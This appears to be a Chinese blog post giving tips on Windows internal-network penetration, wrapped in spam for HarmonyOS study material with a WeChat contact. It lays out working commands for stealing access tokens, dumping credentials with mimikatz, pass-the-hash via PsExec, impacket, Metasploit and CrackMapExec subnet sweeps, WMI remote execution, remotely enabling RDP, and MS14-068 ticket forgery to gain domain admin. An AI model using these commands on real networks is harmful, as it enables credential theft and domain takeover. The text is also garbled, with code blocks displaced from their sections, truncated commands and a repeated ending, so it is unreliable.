内网渗透TIPS总结(3),面试阿里巴巴自我介绍

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新HarmonyOS鸿蒙全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img

img
img
htt

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注鸿蒙)
img

正文

3、Windows的access token的类型

delegation token:授权令牌,支持交互式会话登录

impersonation token:模拟令牌,非交互式令牌

【注】两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。

二、AccessToken 的窃取与利用

1、前提

AccessToken 的窃取与利用需要 administrator 管理员权限。

2、窃取access token的方法

incognito.exe 程序

InvokeTokenManipulat.ps1 脚本

MSF 里的 incognito 模块

3、incognito

程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

4、msf窃取token

横向渗透

一、PTH(pass the hash)

概述:pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

1、pass the hash的原理

在Windows系统中,通常会使用NTLM身份认证

#AccessToken 的列举

incognito.exe list_tokens -u

#操作​​​​​​​

incognito.exe execute -c "完整的 Token 名" cmd.exe``incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe``use incognito #加载 incognito``list_tokens -u #列出 AccessToken``getuid #查看当前 token``impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即

ps #列出进程pid​​​​​​​

steal_token 1252 #从进程窃取 token``getsystem #提升至 system 权限``rev2self #返回到之前的 AccessToken 权限

NTLM认证不使用明文口令,而是使用加密后的hash值,hash值由系统API生成

hash分为LM hash 和NTLM hash,如果密码大于15位则无法生成LM hash,从2008以后微软禁用LM hash

攻击者获取了hash,就可以在身份认证的时候模拟该用户(跳过调用API生成hash的过程)

2、适用范围

域环境/工作组环境

可以获取hash,但是条件是不允许爆破hash

内网中存在和当前机器相同的密码

3、关于微软补丁和禁用

在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号

仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

4、攻击

使用mimikatz

得到hash后

成功后 会弹出终端 cmd。此时的cmd中以及导入了hash可以进行ipc等连接

二、Psexec

1、概述

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主

机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

2、条件

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭。

3、明文连接

4、hash连接

出现错误的情况可以使用impacket工具包下的psexec连接​​​​​​​

privilege::debug``sekurlsa::logonpasswords``mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt``privilege::debug``sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4

#命令​​​​​​​

PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd``PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

#参数​​​​​​​

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框``-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显``-u 域\用户名``-p 密码

#命令​​​​​​​

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

5、psexec注意事项

需要远程系统开启 admin$ 共享(默认是开启的)

因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会

产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

6、登陆域管理命令

impacket 下的 psexec

python3 psexec.py darkid/Administrator@192.168.0.142

执行命令后输入密码

登陆其他主机管理员

psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd

三、msf的smb连接

1、使用

2、crackmapexec

CrackMapExec 可以对 C 段中的主机进行批量 pth,

项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令

四、WMI横向

1、概述

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

2、条件

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显​​​​​​​

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123``use exploit/windows/smb/psexec``set SMBUser Administrator``set rhosts 192.168.0.141``set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4``run``crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4``对 192.168.9.0/24 C 段进行批量 pass the hash

3、wmi使用命令

通过wmi执行ipconfig命令

建立ipc连接,读取内容

4、wmiexec.py利用

在 impacket 工具包里有 wmiexec.py 脚本,执行 whoami 命令

【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写

wmiexec.py 明文获取 shell

5、powershell的wmi

Invoke-WmiCommand

Invoke-WMIMethod

6、wmic 的其他命令

使用 wmic 远程开启目标的 RDP​​​​​​​

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"​​​​​​​

net use \\192.168.0.123\ipc$ "123456" /user:administrator``type \\192.168.0.123\c$\ip.txt​​​​​​​

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami​​​​​​​

python3 wmiexec.py administrator:123456@192.168.0.123

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。在 Powershell 中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本

Import-Module .\Invoke-WmiCommand.ps1

# 指定目标系统用户名

$User = “.\administrator”

# 指定目标系统的密码

$Password = ConvertTo-SecureString -String “123456” -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential

$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList U s e r , User, User,Password

# 指定要执行的命令和目标 IP

$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123

# 将执行结果输出到屏幕上

$Remote.PayloadOutput

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。

# 指定目标系统用户名

$User=“.\administrator”

# 指定目标系统密码

$Password=ConvertTo-SecureString -String “123456” -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential 中

$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList U s e r , User, User,Password

# 在远程系统中运行 calc.exe 命令

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName “192.168.0.123” -Credential $Cred

# 适于 Windows xp、server 2003

wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!=“”) CALL SetAllowT

判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

远程重启

票据传递攻击(PTT)

一、域内常用的两种攻击方式:

1、黄金票据 Golden ticket

2、白银票据 Silver ticket

二、金票 Golden ticket

1、原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC

中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交

互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

2、特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

3、伪造凭据,提升域内普通用户的权限(MS14-068)

以一个本地 administrator 用户登录域内的一个主机中。

通过命令:net config workstation,获取域信息

通过命令:nltest /dsgetdc:域名,获取DC主机名

上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz

利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就

说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。

上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID

使用 MS14-068 伪造票据

使用方法

# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname

wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName=‘计算机名’ call SetAllowTSConnections 1

#或者

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentContro

REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”>log.txt

#执行命令:​​​​​​​

ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:mimikatz # kerberos::purge //清空票据mimikatz # kerberos::ptc 票据文件地址

再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

41763578-1105 -d 08server-ad.moonhack.com,ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:mimikatz # kerberos::purge //清空票据mimikatz # kerberos::ptc 票据文件地址

再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
[外链图片转存中…(img-9HXtNjLK-1713175541894)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 19
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值